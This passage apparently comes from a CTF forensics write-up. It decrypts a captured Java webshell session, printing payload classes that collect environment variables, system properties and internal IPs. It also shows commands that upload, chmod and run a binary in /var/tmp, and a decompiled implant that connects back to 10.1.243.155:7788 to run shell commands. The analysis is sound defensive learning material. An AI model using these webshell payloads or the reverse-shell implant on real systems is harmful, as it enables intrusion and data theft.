            Object objInvoke = cls.getMethod(&quot;getEncoder&quot;, null).invoke(cls, null);
            bArrDoFinal = (byte[]) objInvoke.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(objInvoke, bArrDoFinal);
        } catch (Throwable th) {
            Object objNewInstance = Class.forName(&quot;sun.misc.BASE64Encoder&quot;).newInstance();
            bArrDoFinal = ((String) objNewInstance.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(objNewInstance, bArrDoFinal)).replace(&quot;\n&quot;, &quot;&quot;).replace(&quot;\r&quot;, &quot;&quot;).getBytes();
        }
        return bArrDoFinal;
    }

    public Fmdrfajtrr() {
        content = &quot;&quot;;
        content += &quot;1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v&quot;;
    }

    public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException {
        Map&amp;lt;String, String&amp;gt; result = new LinkedHashMap&amp;lt;&amp;gt;();
        try {
            try {
                fillContext(obj);
                result.put(&quot;status&quot;, &quot;success&quot;);
                result.put(&quot;msg&quot;, content);
                try {
                    Object so = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                    Method write = so.getClass().getMethod(&quot;write&quot;, byte[].class);
                    write.invoke(so, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                    so.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so, new Object[0]);
                    so.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so, new Object[0]);
                    return true;
                } catch (Exception e) {
                    e.printStackTrace();
                    return true;
                }
            } catch (Exception e2) {
                result.put(&quot;msg&quot;, e2.getMessage());
                result.put(&quot;status&quot;, &quot;success&quot;);
                try {
                    Object so2 = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                    Method write2 = so2.getClass().getMethod(&quot;write&quot;, byte[].class);
                    write2.invoke(so2, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                    so2.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so2, new Object[0]);
                    so2.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so2, new Object[0]);
                    return true;
                } catch (Exception e3) {
                    e3.printStackTrace();
                    return true;
                }
            }
        } catch (Throwable th) {
            try {
                Object so3 = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                Method write3 = so3.getClass().getMethod(&quot;write&quot;, byte[].class);
                write3.invoke(so3, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                so3.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so3, new Object[0]);
                so3.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so3, new Object[0]);
            } catch (Exception e4) {
                e4.printStackTrace();
            }
            throw th;
        }
    }

    private String buildJson(Map&amp;lt;String, String&amp;gt; entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        System.getProperty(&quot;java.version&quot;);
        sb.append(&quot;{&quot;);
        for (String key : entity.keySet()) {
            sb.append(&quot;\&quot;&quot; + key + &quot;\&quot;:\&quot;&quot;);
            String value = entity.get(key);
            if (encode) {
                value = base64encode(value.getBytes());
            }
            sb.append(value);
            sb.append(&quot;\&quot;,&quot;);
        }
        if (sb.toString().endsWith(&quot;,&quot;)) {
            sb.setLength(sb.length() - 1);
        }
        sb.append(&quot;}&quot;);
        return sb.toString();
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf(&quot;PageContext&quot;) &amp;gt;= 0) {
            this.Request = obj.getClass().getMethod(&quot;getRequest&quot;, new Class[0]).invoke(obj, new Object[0]);
            this.Response = obj.getClass().getMethod(&quot;getResponse&quot;, new Class[0]).invoke(obj, new Object[0]);
            this.Session = obj.getClass().getMethod(&quot;getSession&quot;, new Class[0]).invoke(obj, new Object[0]);
        } else {
            Map&amp;lt;String, Object&amp;gt; objMap = (Map) obj;
            this.Session = objMap.get(&quot;session&quot;);
            this.Response = objMap.get(&quot;response&quot;);
            this.Request = objMap.get(&quot;request&quot;);
        }
        this.Response.getClass().getMethod(&quot;setCharacterEncoding&quot;, String.class).invoke(this.Response, &quot;UTF-8&quot;);
    }

    private String base64encode(byte[] data) throws Exception {
        String result;
        System.getProperty(&quot;java.version&quot;);
        try {
            getClass();
            Class Base64 = Class.forName(&quot;java.util.Base64&quot;);
            Object Encoder = Base64.getMethod(&quot;getEncoder&quot;, null).invoke(Base64, null);
            result = (String) Encoder.getClass().getMethod(&quot;encodeToString&quot;, byte[].class).invoke(Encoder, data);
        } catch (Throwable th) {
            getClass();
            Object Encoder2 = Class.forName(&quot;sun.misc.BASE64Encoder&quot;).newInstance();
            String result2 = (String) Encoder2.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(Encoder2, data);
            result = result2.replace(&quot;\n&quot;, &quot;&quot;).replace(&quot;\r&quot;, &quot;&quot;);
        }
        return result;
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod(&quot;getAttribute&quot;, String.class).invoke(this.Session, &quot;u&quot;).toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];
        for (int i = 0; i &amp;lt; buf.length; i++) {
            buf[i] = (byte) random.nextInt(256);
        }
        return buf;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It simply returned the data string &lt;code&gt;1oMRO2dvZFDzLDMX8h...mqNGvJnB3v&lt;/code&gt; and base64 encoded it. Decoding the response confirmed this.
Continuing to decrypt and reverse the second request:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Code - Click to show&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package org.arkpoti.qegfs;

import java.io.File;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Set;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

/* compiled from: BasicInfo.java */
/* loaded from: payload-favicondemo(2).ico.class */
public class Huhmocmx {
    public static String whatever;
    private Object Request;
    private Object Response;
    private Object Session;

    private byte[] Encrypt(byte[] bArr) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec(&quot;1f2c8075acd3d118&quot;.getBytes(&quot;utf-8&quot;), &quot;AES&quot;);
        Cipher cipher = Cipher.getInstance(&quot;AES/ECB/PKCS5Padding&quot;);
        cipher.init(1, secretKeySpec);
        byte[] bArrDoFinal = cipher.doFinal(bArr);
        try {
            Class&amp;lt;?&amp;gt; cls = Class.forName(&quot;java.util.Base64&quot;);
            Object objInvoke = cls.getMethod(&quot;getEncoder&quot;, null).invoke(cls, null);
            bArrDoFinal = (byte[]) objInvoke.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(objInvoke, bArrDoFinal);
        } catch (Throwable th) {
            Object objNewInstance = Class.forName(&quot;sun.misc.BASE64Encoder&quot;).newInstance();
            bArrDoFinal = ((String) objNewInstance.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(objNewInstance, bArrDoFinal)).replace(&quot;\n&quot;, &quot;&quot;).replace(&quot;\r&quot;, &quot;&quot;).getBytes();
        }
        return bArrDoFinal;
    }

    public Huhmocmx() {
        whatever = &quot;&quot;;
        whatever += &quot;nrUlBDIWY47Voq6K0Ro3FKVOpcOgruIO6bGpwEV5tlFcaaUoHwS2bwC1fwgrXuOLNdQIFovDsRYeeoKSIJAgcfLk3PaESDGIkdJTGGMuoc9bXnBzFry0xgmVYy8gHAKaQFUB0MpL39iuIgGUqA3VdLFOQTuLL83nO2jM5E5molVy30DbTUSYVuJryWB0l7nBKIzDn8axk7wPmDyQ6NXiDT68y3aWEWiwI6hnv2sJZwhdIABULpbv0U3C0ble2IrQjKbba5YkdEig5PzTa1oGYgW9oJSyYvtAeABtnzcY6UmgPYRHs37GWJdPKRctwReHJ3SmLYMqeJyyCDp4mURvctnDgfakpjGxmrvTpGYex8mtsogYatwG3yHso81lLM0jFfYYe3QY7Qywg6SL5GgP9p5Ry2ZZ1ksOfxSguSw3KeIjCV7RaGoZyO5YiC8zWWoLAfERhdKlMGixQv6DrR1LNuI0UdJTRWjEtZ0OEFtiG5AXxaxEtxfxUcg0HBJqxfs5aeCurRoGbg3c5M1TaTxFnDx2tnibB9XyS6FGzmOibZBGV8SJo2vf3MuUXwXrI3w8hWsLu4oELUljNSUGhwO5X1gUdDL4XMk0j1dlTIbcjyYnwwAKF9tP3Hlq6ryo9SIbUkJ7gYFl5V09WKjPfZm65qnHGROfrd5n2d7hePLJ0GyD867DHO9K4U3NAbIgKQovDlFSsmjMAcE1jjeAuMl90xvpHeRZucgwZEzZdJb3e4wyufhmXkJy&quot;;
    }

    public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException {
        Map&amp;lt;String, String&amp;gt; result = new HashMap&amp;lt;&amp;gt;();
        try {
            fillContext(obj);
            StringBuilder basicInfo = new StringBuilder(&quot;&amp;lt;br/&amp;gt;&amp;lt;font size=2 color=red&amp;gt;环境变量:&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;&quot;);
            Map&amp;lt;String, String&amp;gt; env = System.getenv();
            for (String name : env.keySet()) {
                basicInfo.append(name + &quot;=&quot; + env.get(name) + &quot;&amp;lt;br/&amp;gt;&quot;);
            }
            basicInfo.append(&quot;&amp;lt;br/&amp;gt;&amp;lt;font size=2 color=red&amp;gt;JRE系统属性:&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;&quot;);
            Properties props = System.getProperties();
            Set&amp;lt;Map.Entry&amp;lt;Object, Object&amp;gt;&amp;gt; entrySet = props.entrySet();
            for (Map.Entry&amp;lt;Object, Object&amp;gt; entry : entrySet) {
                basicInfo.append(entry.getKey() + &quot; = &quot; + entry.getValue() + &quot;&amp;lt;br/&amp;gt;&quot;);
            }
            String currentPath = new File(&quot;&quot;).getAbsolutePath();
            String driveList = &quot;&quot;;
            File[] roots = File.listRoots();
            for (File f : roots) {
                driveList = driveList + f.getPath() + &quot;;&quot;;
            }
            String osInfo = System.getProperty(&quot;os.name&quot;) + System.getProperty(&quot;os.version&quot;) + System.getProperty(&quot;os.arch&quot;);
            Map&amp;lt;String, String&amp;gt; entity = new HashMap&amp;lt;&amp;gt;();
            entity.put(&quot;basicInfo&quot;, basicInfo.toString());
            entity.put(&quot;currentPath&quot;, currentPath);
            entity.put(&quot;driveList&quot;, driveList);
            entity.put(&quot;osInfo&quot;, osInfo);
            entity.put(&quot;arch&quot;, System.getProperty(&quot;os.arch&quot;));
            entity.put(&quot;localIp&quot;, getInnerIp());
            result.put(&quot;status&quot;, &quot;success&quot;);
            result.put(&quot;msg&quot;, buildJson(entity, true));
            try {
                Object so = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                Method write = so.getClass().getMethod(&quot;write&quot;, byte[].class);
                write.invoke(so, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                so.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so, new Object[0]);
                so.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so, new Object[0]);
                return true;
            } catch (Exception e) {
                return true;
            }
        } catch (Exception e2) {
            try {
                Object so2 = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                Method write2 = so2.getClass().getMethod(&quot;write&quot;, byte[].class);
                write2.invoke(so2, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                so2.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so2, new Object[0]);
                so2.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so2, new Object[0]);
                return true;
            } catch (Exception e3) {
                return true;
            }
        } catch (Throwable th) {
            try {
                Object so3 = this.Response.getClass().getMethod(&quot;getOutputStream&quot;, new Class[0]).invoke(this.Response, new Object[0]);
                Method write3 = so3.getClass().getMethod(&quot;write&quot;, byte[].class);
                write3.invoke(so3, Encrypt(buildJson(result, true).getBytes(&quot;UTF-8&quot;)));
                so3.getClass().getMethod(&quot;flush&quot;, new Class[0]).invoke(so3, new Object[0]);
                so3.getClass().getMethod(&quot;close&quot;, new Class[0]).invoke(so3, new Object[0]);
            } catch (Exception e4) {
            }
            throw th;
        }
    }

    private String getInnerIp() throws SocketException {
        String ips = &quot;&quot;;
        try {
            Enumeration&amp;lt;NetworkInterface&amp;gt; netInterfaces = NetworkInterface.getNetworkInterfaces();
            while (netInterfaces.hasMoreElements()) {
                NetworkInterface netInterface = netInterfaces.nextElement();
                Enumeration&amp;lt;InetAddress&amp;gt; addresses = netInterface.getInetAddresses();
                while (addresses.hasMoreElements()) {
                    InetAddress ip = addresses.nextElement();
                    if (ip != null &amp;amp;&amp;amp; (ip instanceof Inet4Address)) {
                        ips = ips + ip.getHostAddress() + &quot; &quot;;
                    }
                }
            }
        } catch (Exception e) {
        }
        return ips.replace(&quot;127.0.0.1&quot;, &quot;&quot;).trim();
    }

    private String buildJson(Map&amp;lt;String, String&amp;gt; entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty(&quot;java.version&quot;);
        sb.append(&quot;{&quot;);
        for (String key : entity.keySet()) {
            sb.append(&quot;\&quot;&quot; + key + &quot;\&quot;:\&quot;&quot;);
            String value = entity.get(key).toString();
            if (encode) {
                if (version.compareTo(&quot;1.9&quot;) &amp;gt;= 0) {
                    getClass();
                    Class Base64 = Class.forName(&quot;java.util.Base64&quot;);
                    Object Encoder = Base64.getMethod(&quot;getEncoder&quot;, null).invoke(Base64, null);
                    value = (String) Encoder.getClass().getMethod(&quot;encodeToString&quot;, byte[].class).invoke(Encoder, value.getBytes(&quot;UTF-8&quot;));
                } else {
                    getClass();
                    Object Encoder2 = Class.forName(&quot;sun.misc.BASE64Encoder&quot;).newInstance();
                    value = ((String) Encoder2.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(Encoder2, value.getBytes(&quot;UTF-8&quot;))).replace(&quot;\n&quot;, &quot;&quot;).replace(&quot;\r&quot;, &quot;&quot;);
                }
            }
            sb.append(value);
            sb.append(&quot;\&quot;,&quot;);
        }
        sb.setLength(sb.length() - 1);
        sb.append(&quot;}&quot;);
        return sb.toString();
    }

    private String base64encode(byte[] data) throws Exception {
        String result;
        System.getProperty(&quot;java.version&quot;);
        try {
            getClass();
            Class Base64 = Class.forName(&quot;java.util.Base64&quot;);
            Object Encoder = Base64.getMethod(&quot;getEncoder&quot;, null).invoke(Base64, null);
            result = (String) Encoder.getClass().getMethod(&quot;encodeToString&quot;, byte[].class).invoke(Encoder, data);
        } catch (Throwable th) {
            getClass();
            Object Encoder2 = Class.forName(&quot;sun.misc.BASE64Encoder&quot;).newInstance();
            String result2 = (String) Encoder2.getClass().getMethod(&quot;encode&quot;, byte[].class).invoke(Encoder2, data);
            result = result2.replace(&quot;\n&quot;, &quot;&quot;).replace(&quot;\r&quot;, &quot;&quot;);
        }
        return result;
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf(&quot;PageContext&quot;) &amp;gt;= 0) {
            this.Request = obj.getClass().getMethod(&quot;getRequest&quot;, new Class[0]).invoke(obj, new Object[0]);
            this.Response = obj.getClass().getMethod(&quot;getResponse&quot;, new Class[0]).invoke(obj, new Object[0]);
            this.Session = obj.getClass().getMethod(&quot;getSession&quot;, new Class[0]).invoke(obj, new Object[0]);
        } else {
            Map&amp;lt;String, Object&amp;gt; objMap = (Map) obj;
            this.Session = objMap.get(&quot;session&quot;);
            this.Response = objMap.get(&quot;response&quot;);
            this.Request = objMap.get(&quot;request&quot;);
        }
        this.Response.getClass().getMethod(&quot;setCharacterEncoding&quot;, String.class).invoke(this.Response, &quot;UTF-8&quot;);
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod(&quot;getAttribute&quot;, String.class).invoke(this.Session, &quot;u&quot;).toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];
        for (int i = 0; i &amp;lt; buf.length; i++) {
            buf[i] = (byte) random.nextInt(256);
        }
        return buf;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This retrieved system information. Decoding the response confirmed this.
Subsequent decryption and reversal revealed the execution of several system commands, including listing &lt;code&gt;/tmp&lt;/code&gt;, &lt;code&gt;/var&lt;/code&gt;, &lt;code&gt;/var/tmp&lt;/code&gt;.
Later, a file write operation was found:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package sun.yxiw;

...

/* compiled from: FileOperation.java */
/* loaded from: payload-favicondemo(18).ico.class */
public class Auydc {
	...
    public Auydc() {
        mode = &quot;&quot;;
        mode += &quot;update&quot;;
        path = &quot;&quot;;
        path += &quot;/var/tmp/out&quot;;
        blockIndex = &quot;&quot;;
        blockIndex += &quot;2&quot;;
        blockSize = &quot;&quot;;
        blockSize += &quot;30720&quot;;
        content = &quot;&quot;;
        content += &quot;h61Bx+...X2zlQkI5M&quot;;
        this.osCharset = Charset.forName(System.getProperty(&quot;sun.jnu.encoding&quot;));
    }
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This appended Base64-decoded &lt;code&gt;content&lt;/code&gt; to &lt;code&gt;/var/tmp/out&lt;/code&gt;. Many similar append requests followed. Wireshark&apos;s Export Objects feature was used to export all 737 files related to &lt;code&gt;/favicondemo.ico&lt;/code&gt;. A Python script was written to decrypt and save them as class files or text files based on content. This revealed the multi-part upload of a binary.
Finally, a hash check was performed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package sun.pquyv;

...

/* compiled from: FileOperation.java */
/* loaded from: payload-favicondemo(722).ico.class */
public class Yfnc {
	...
    public Yfnc() {
        mode = &quot;&quot;;
        mode += &quot;check&quot;;
        path = &quot;&quot;;
        path += &quot;/var/tmp/out&quot;;
        hash = &quot;&quot;;
        hash += &quot;a0275c1593af1adb&quot;;
        this.osCharset = Charset.forName(System.getProperty(&quot;sun.jnu.encoding&quot;));
    }

    private String checkFileHash(String path2) throws Exception {
        FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2);
        if (ch != null &amp;amp;&amp;amp; ch.isOpen()) {
            ch.close();
        }
        byte[] input = getFileData(path2);
        if (input == null || input.length == 0) {
            return null;
        }
        MessageDigest md5 = MessageDigest.getInstance(&quot;MD5&quot;);
        md5.update(input);
        byte[] byteArray = md5.digest();
        StringBuilder sb = new StringBuilder();
        for (byte b : byteArray) {
            sb.append(String.format(&quot;%02x&quot;, Byte.valueOf(b)));
        }
        return sb.substring(0, 16);
    }
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Execution permissions were granted:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package net.zlzbr.fsio.vbycsd;

...

/* compiled from: Cmd.java */
/* loaded from: payload-favicondemo(734).ico.class */
public class Xxzrrw {
    public static String cmd;
    public static String path;
    public static String whatever;
    private static String status = &quot;success&quot;;
    private Object Request;
    private Object Response;
    private Object Session;
    ...
    public Xxzrrw() {
        cmd = &quot;&quot;;
        cmd += &quot;cd /var/tmp/ ;chmod +x out&quot;;
        path = &quot;&quot;;
        path += &quot;/var/tmp/&quot;;
    }
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then it was executed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package org.zhnnj;

...

/* compiled from: Cmd.java */
/* loaded from: payload-favicondemo(736).ico.class */
public class Imrdoaaxs {
	...
    public Imrdoaaxs() {
        cmd = &quot;&quot;;
        cmd += &quot;cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=&quot;;
        path = &quot;&quot;;
        path += &quot;/var/tmp/&quot;;
    }
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This provided an aes-key: &lt;code&gt;IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=&lt;/code&gt;. No further HTTP communication occurred after this.&lt;/p&gt;
&lt;h1&gt;Layer 3: Custom Shell&lt;/h1&gt;
&lt;p&gt;Following the HTTP stream, a TCP stream communication was found. Dumping it revealed:
&lt;img src=&quot;./images/2026/03/3229052496.png&quot; alt=&quot;Pasted image 20260314133909.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Due to the variable length, ECB and CBC were unlikely. GCM was considered a strong possibility, especially as the first two command lengths (31 and 30 bytes after decryption) corresponded to typical commands like &lt;code&gt;pwd&lt;/code&gt; and &lt;code&gt;ls&lt;/code&gt;, with the remaining bytes matching GCM&apos;s structure (12-byte nonce, 16-byte tag). Attempting GCM decryption:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64
import binascii
from Crypto.Cipher import AES

key = base64.b64decode(&quot;IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=&quot;)

hex_str = &quot;&quot;&quot;
1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4
&quot;&quot;&quot;.replace(&apos;\n&apos;, &apos;&apos;).replace(&apos; &apos;, &apos;&apos;)

data = binascii.unhexlify(hex_str)

i = 0
chunk_idx = 0
while i &amp;lt; len(data):
    length = int.from_bytes(data[i:i+4], &apos;little&apos;)
    i += 4
    
    chunk = data[i:i+length]
    i += length
    
    nonce = chunk[:12]
    ciphertext = chunk[12:-16]
    tag = chunk[-16:]
    
    cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)
    print(f&quot;{chunk_idx}: len{len(plaintext)}: {plaintext}&quot;)
        
    chunk_idx += 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output was:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0: len3: b&apos;pwd&apos;
1: len8: b&apos;/var/tmp&apos;
2: len2: b&apos;ls&apos;
3: len3: b&apos;out&apos;
4: len20: b&apos;echo Congratulations&apos;
5: len15: b&apos;Congratulations&apos;
6: len82: b&apos;echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi&apos;
7: len77: b&apos;3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi&apos;
8: len8: b&apos;echo bye&apos;
9: len3: b&apos;bye&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Putting &lt;code&gt;3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi&lt;/code&gt; through CyberChef, applying Base58 then Base64 decryption yielded the Flag: &lt;code&gt;dart{d9850b27-85cb-4777-85e0-df0b78fdb722}&lt;/code&gt;
&lt;img src=&quot;./images/2026/03/844596917.png&quot; alt=&quot;Pasted image 20260314134936.png&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;A later attempt to fully extract and reverse engineer the binary uploaded in chunks confirmed it was a PyInstaller-packaged ELF. Decompiling the extracted &lt;code&gt;inspect.pyc&lt;/code&gt; revealed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.9

import os
import socket
import struct
import subprocess
import argparse
import settings
import base64
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
SERVER_LISTEN_IP = &apos;10.1.243.155&apos;
SERVER_LISTEN_PORT = 7788
IMPLANT_CONNECT_IP = &apos;10.1.243.155&apos;
IMPLANT_CONNECT_PORT = 7788
SERVER_LISTEN_NUM = 20
_aesgcm = None

def set_aes_key(key_b64 = None):
    global _aesgcm
    key = base64.b64decode(key_b64)
    if len(key) not in (16, 24, 32):
        raise ValueError(&apos;AES 密钥长度必须为 16, 24 或 32 字节（对应 128, 192, 256 位）&apos;)
    _aesgcm = None(key)


def encrypt_data(data = None):
    if _aesgcm is None:
        raise RuntimeError(&apos;AES 密钥未初始化，请先调用 set_aes_key()&apos;)
    nonce = None.urandom(12)
    ciphertext = _aesgcm.encrypt(nonce, data, None)
    return nonce + ciphertext


def decrypt_data(encrypted_data = None):
    if _aesgcm is None:
        raise RuntimeError(&apos;AES 密钥未初始化，请先调用 set_aes_key()&apos;)
    if None(encrypted_data) &amp;lt; 28:
        raise ValueError(&apos;加密数据太短，无法包含 nonce 和认证标签&apos;)
    nonce = None[:12]
    ciphertext_with_tag = encrypted_data[12:]
    plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None)
    return plaintext


def exec_cmd(command, code_flag):
    command = command.decode(&apos;utf-8&apos;)
# WARNING: Decompyle incomplete


def send_data(conn, data):
    if type(data) == str:
        data = data.encode(&apos;utf-8&apos;)
    encrypted_data = settings.encrypt_data(data)
    cmd_len = struct.pack(&apos;i&apos;, len(encrypted_data))
    conn.send(cmd_len)
    conn.send(encrypted_data)


def recv_data(sock, buf_size = (1024,)):
    x = sock.recv(4)
    all_size = struct.unpack(&apos;i&apos;, x)[0]
    recv_size = 0
    encrypted_data = b&apos;&apos;
    if recv_size &amp;lt; all_size:
        encrypted_data += sock.recv(buf_size)
        recv_size += buf_size
        continue
    data = settings.decrypt_data(encrypted_data)
    return data


def main():
    sock = socket.socket()
    sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT))
    code_flag = &apos;gbk&apos; if os.name == &apos;nt&apos; else &apos;utf-8&apos;
# WARNING: Decompyle incomplete

if __name__ == &apos;__main__&apos;:
    parser = argparse.ArgumentParser(&apos;&apos;, **(&apos;description&apos;,))
    parser.add_argument(&apos;--aes-key&apos;, True, &apos;&apos;, **(&apos;required&apos;, &apos;help&apos;))
    args = parser.parse_args()
    settings.set_aes_key(args.aes_key)
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This confirmed the use of AES-GCM.&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Summary&lt;/h1&gt;
&lt;p&gt;The complete attack chain was as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sequenceDiagram
